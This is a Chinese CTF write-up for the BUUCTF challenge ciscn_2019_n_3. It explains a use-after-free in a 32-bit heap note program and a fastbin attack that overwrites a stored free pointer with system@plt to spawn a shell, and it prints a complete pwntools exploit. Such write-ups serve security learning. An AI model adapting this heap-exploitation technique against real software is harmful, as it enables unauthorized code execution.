• [BUUCTF]PWN——ciscn_2019_n_3


    ciscn_2019_n_3

    附件

    步骤

    1. 例行检查,32位,开启了nx和canary保护
      在这里插入图片描述

    2. 本地试运行一下,经典的堆题的菜单
      在这里插入图片描述
      3.32位ida载入
      new(),申请了两个chunk,第一个chunk(13行)固定大小0xC,存放的是rec_int_print和rec_int_free函数的地址,第二个chunk(32行),是我们申请的chunk
      在这里插入图片描述
      del()
      在这里插入图片描述
      如果值是整数,直接 free chunk
      在这里插入图片描述
      如果值是字符串,则 chunk 和存储字符串的 chunk 都要 free。注意这里只是进行了 free 操作,没有将指针置 0,存在uaf漏洞
      在这里插入图片描述
      dump()
      在这里插入图片描述
      调用rec_int_print或者rec_str_print函数打印
      在这里插入图片描述
      在这里插入图片描述

    3. 利用思路:
      由于本题将printf和free函数的指针都放在了申请的堆上,而且程序调用了system函数因此我们就不用double free来泄露libc基址了,我们可以利用fastbin的LIFO的机制,取得对存放指针的堆块的控制,修改free指针指向system@plt,触发 del 函数中的 free(*(ptr + 2)),即执行 system(’/bin/sh’),可以获取shell

    首先申请两个chunk看一下大概的布局

    new(0,2,'a'*10,0x88)
    new(1,2,'b'*10,0x38)
    new(2,1,0x41)
    gdb.attach(p)
    

    在这里插入图片描述

    在这里插入图片描述

    我们现在要利用 chunk 1 和 chunk 2 进行 fastbin attack 将 chunk 1 的 rec_str_free 覆盖为 system 的 plt 表

    dele(1)
    dele(2)
    new(3,2,'bash'+p32(elf.plt['system']),0xc)
    

    在这里插入图片描述
    在这里插入图片描述
    看到chunk1的rec_str_free地址已经被我们改成了system的plt表里的地址

    接着把 /bin/sh 写入 chunk 1 的 string 对应的 chunk 中

    new(4,2,'/bin/shx00',0x38)
    

    然后执行dele(chunk1),本该是free(*(ptr + 2)),但是上方我们修改了free的地址,这里相当于执行 system(’/bin/sh’)

    dele(1)  
    

    成功获取了shell

    完整exp:

    from pwn import *
    
    #p=remote("node3.buuoj.cn",28200)
    p = process("./ciscn_2019_n_3")
    context.log_level = 'debug'
    context.arch = 'x86'
    
    elf = ELF("./ciscn_2019_n_3")
    
    def new(idx,type,value,length=0):
        p.recvuntil("CNote")
        p.sendline(str(1))
        p.recvuntil("Index")
        p.sendline(str(idx))
        p.recvuntil("Type")
        p.sendline(str(type))
        if type == 1:
            p.recvuntil("Value")
            p.sendline(str(value))
        else:
                p.recvuntil("Length")
                p.sendline(str(length))
                p.recvuntil("Value")
                if length == 8:
                    p.send(value)
                else:
                    p.sendline(value)
    
    def dele(idx):
        p.recvuntil("CNote")
        p.sendline(str(2))
        p.recvuntil("Index")
        p.sendline(str(idx))
    
    def show(idx):
        p.recvuntil("CNote")
        p.sendline(str(3))
        p.recvuntil("Index")
        p.sendline(str(idx))
    
    new(0,2,'a'*10,0x88)
    new(1,2,'b'*10,0x38)
    new(2,1,0x41)
    #gdb.attach(p)
    
    dele(1)
    dele(2)
    new(3,2,'bash'+p32(elf.plt['system']),0xc)
    #gdb.attach(p)
    
    new(4,2,"/bin/shx00",0x38)
    dele(1)
    
    p.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    Mybatis动态数据源
    [Java基础]判断字符串指定字符类型
    [Java基础]让Map value自增
    (转载)UTF-8占几个字符
    JVM程序计数器
    Mybatis异常总结
    通过类对象来获取类中的属性,方法,构造器
    主动引用和被动引用
    ClassLoader类加载器浅见
    反射----获取class对象的五种方法
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273611.html
Copyright © 2020-2023  润新知